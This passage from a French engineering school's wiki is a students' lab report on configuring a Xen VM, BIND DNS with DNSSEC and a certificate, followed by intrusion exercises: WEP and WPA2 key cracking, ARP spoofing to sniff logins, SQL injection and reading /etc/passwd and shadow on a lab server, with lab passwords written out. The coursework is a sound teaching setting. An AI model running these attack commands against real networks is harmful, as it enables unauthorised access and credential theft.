| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root et le passer dans John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Sql_injection_honey.png&amp;diff=54551</id>
		<title>Fichier:Sql injection honey.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Sql_injection_honey.png&amp;diff=54551"/>
				<updated>2020-12-14T15:42:33Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	</feed>